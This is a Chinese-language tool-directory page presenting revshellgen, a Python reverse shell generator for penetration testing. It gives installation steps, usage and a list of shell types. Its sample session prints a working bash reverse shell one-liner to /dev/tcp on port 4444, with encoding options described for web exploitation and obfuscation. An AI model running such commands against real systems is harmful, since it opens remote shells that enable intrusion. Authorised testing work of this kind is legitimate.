Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
revshellgen — 用 Python 3 编写的反向 Shell 生成器 | Kitploit
工具/GitHubGitHub/t0thkr1s/revshellgen
Payload生成漏洞利用渗透测试命令与控制红队Shellcode 生成Payload 开发
GitHubt0thkr1s/revshellgen

revshellgen

用 Python 3 编写的反向 Shell 生成器

查看仓库
565941年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

🚀 RevShellGen

反向 Shell 生成器

Python License Stars

CI Tests PyPI

以优雅的方式自动化反向 Shell 生成
生成、编码、捕获反向 Shell,省去繁琐操作


功能 • 安装 • 用法 • Shell 类型 • 贡献

📖 关于

RevShellGen 是一个强大的命令行工具,简化了生成反向 Shell 命令的过程。无需再查找语法,无需手动编码,无需头疼的配置。本工具通过直观的界面处理一切。

🎯 主要功能

  • 🖥️ 交互式 CLI - 用户友好的菜单驱动界面
  • 🔄 自动编码 - 支持 URL 和 Base64 编码
  • 📋 剪贴板集成 - 自动复制生成的命令
  • 🌐 网络检测 - 自动发现 IP 地址
  • 🎨 多种 Shell 类型 - Bash、Python、Netcat、PowerShell 等
  • 🔊 内置监听器 - 自动设置 netcat/ncat 监听
  • 🍎 跨平台 - 完整支持 Linux 和 macOS
  • 📚 TTY 升级指南 - 全面的 Shell 升级说明

🚀 快速开始

方式1:从 PyPI 安装

root@kitploit:~
# 从 PyPI 安装
pip install revshellgen

# 运行工具
revshellgen

方式2:从源码安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# 安装依赖
pip3 install -r requirements.txt

# 运行工具
python3 revshellgen.py  # 或 python3 revshellgen_cli.py

📦 安装

前提条件

  • Python 3.6 或更高版本
  • pip(Python 包管理器)

依赖

RevShellGen 需要以下 Python 包:

安装方法

方法1:使用 requirements.txt(最简单)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
方法2:使用 setup.py(传统方式)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
方法3:虚拟环境(推荐隔离安装)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate
pip3 install -r requirements.txt
方法4:手动安装
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
方法5:用户安装(无需 sudo)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

平台特定说明

🐧 Linux

root@kitploit:~
# 可能需要安装 python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# 安装 ncat 以获得更好的监听器支持
brew install nmap  # 包含 ncat

💻 用法

基本工作流程

  1. 启动工具

    root@kitploit:~
    python3 revshellgen.py
    
  2. 配置反向 Shell

    • 选择 IP 地址(自动检测)
    • 选择端口(例如 4444, 9001)
    • 选择 Shell 类型(bash、python 等)
    • 选择编码(无、URL、Base64)
  3. 生成的命令自动复制到剪贴板

  4. 启动监听器(自动)

  5. 在目标机器上执行命令

📸 截图


Shell 选择

命令生成

🐚 支持的 Shell

🔧 高级功能

TTY Shell 升级

RevShellGen 现在包含全面的 TTY 升级说明。捕获 Shell 后,工具会提供:

  • 逐步 PTY 生成方法
  • 终端尺寸检测和配置
  • 适用于不同环境的多种升级技术
  • 常见问题的故障排除技巧
  • 快速参考命令

编码选项

  • 无 - 原始命令输出
  • URL 编码 - 用于 Web 应用程序利用
  • Base64 - 用于命令混淆

监听器选项

工具自动检测并使用合适的 netcat 变体:

  • ncat(首选,来自 nmap 包)
  • nc(传统 netcat)
  • macOS 特定的 nc 语法支持

📝 示例会话

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ 选择 IP ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] 手动指定

---------- [ 指定端口 ] ----------
[ # ] 输入端口号:4444

---------- [ 选择命令 ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ 反向 Shell 命令 ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] 命令已复制到剪贴板!
[ + ] 正在端口 4444 上启动监听器...

🤝 贡献

欢迎贡献!请随时提交 Pull Request。对于重大更改,请先打开 issue 讨论您想要更改的内容。

开发环境设置

root@kitploit:~
# 克隆您的 fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# 创建分支
git checkout -b feature/your-feature-name

# 做出更改并提交
git add .
git commit -m "添加您的功能"

# 推送到您的 fork
git push origin feature/your-feature-name

# 创建 Pull Request

🐛 问题与支持

发现 bug 或有建议?请在 GitHub 上打开 issue。

📜 许可证

本项目采用 GNU 通用公共许可证 v3.0 授权 - 详见 LICENSE 文件。

⚠️ 免责声明

本工具仅用于授权的渗透测试和教育目的。

对不属于您或未经明确许可测试的系统使用本工具是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用本程序导致的任何误用或损害负责。

🙏 致谢

  • PayloadsAllTheThings - 反向 Shell 参考
  • ropnop - TTY 升级技术
  • PentestMonkey - 反向 Shell 速查表
  • 所有贡献者和用户

由 t0thkr1s 用 ❤️ 制作
如果您觉得有用,请给此仓库点个星 ⭐!
下载工具
包用途
pyperclip剪贴板操作
colorama终端颜色
readchar交互式按键输入
netifaces网络接口检测
Shell 类型描述平台
BashBash TCP 反向 ShellLinux/Unix
Python基于 Python 的反向 Shell跨平台
Netcat传统 nc 反向 ShellLinux/Unix
Netcat mkfifo使用命名管道的 NetcatLinux/Unix
Perl基于 Perl 的反向 Shell跨平台
PHPPHP 反向 Shell跨平台
Ruby基于 Ruby 的反向 Shell跨平台
JavaJava 反向 Shell跨平台
AWKAWK 反向 ShellLinux/Unix
SocatSocat 反向 ShellLinux/Unix
Socat TTY带完整 TTY 的 SocatLinux/Unix
TelnetTelnet 反向 ShellLinux/Unix
PowerShellWindows PowerShellWindows